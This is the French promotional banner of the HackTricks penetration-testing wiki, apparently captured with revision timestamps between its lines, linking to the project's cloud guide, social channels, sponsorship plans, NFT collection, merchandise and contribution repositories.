2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2023-06-03 13:10:46 +00:00
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>